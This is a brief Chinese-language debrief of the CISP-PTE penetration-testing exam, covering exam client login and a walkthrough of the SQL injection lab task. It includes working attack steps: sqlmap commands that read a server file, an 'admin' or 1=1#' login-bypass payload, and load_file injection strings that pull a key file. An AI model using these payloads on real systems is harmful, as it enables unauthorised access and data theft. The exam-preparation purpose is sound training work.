cisp-pte考试复盘

考试客户端下载-->点击进入考试>输入密码->进去可以看见一个qax的登录框【监考员会告知账户密码】->进入考试页面

里面的操作题，点击开始答题，能看见一个题有一个攻击机，这时我们需要点击鼠标左键，看见一个控制台，点击控制台才能进入答题【双击是没有用的】

注：数度要慢，可以等，但是不能一直点，因为考试环境是win7

题型

选择题：全是单选

每个人的选择题不一样

第一题：sql注入

方法一：sqlmap -r 跑post包

登录框，直接抓包，复制整个包下来保存为.txt文件

再使用sqlmap -r 1.txt 跑出注入类型

再输入sqlmap.py -r 1.txt --file-read /key得到key值

如果没有跑出来就在后面加 --level=5 --risk=3 --batch

方法二：手工注入

先万能密码登录

admin' or 1=1#

在患者编辑处，找到电话的位置填写

1',comefrom=(select load_file('/key'))#
或者
1',comefrom=(select load_file('/key')) -- 1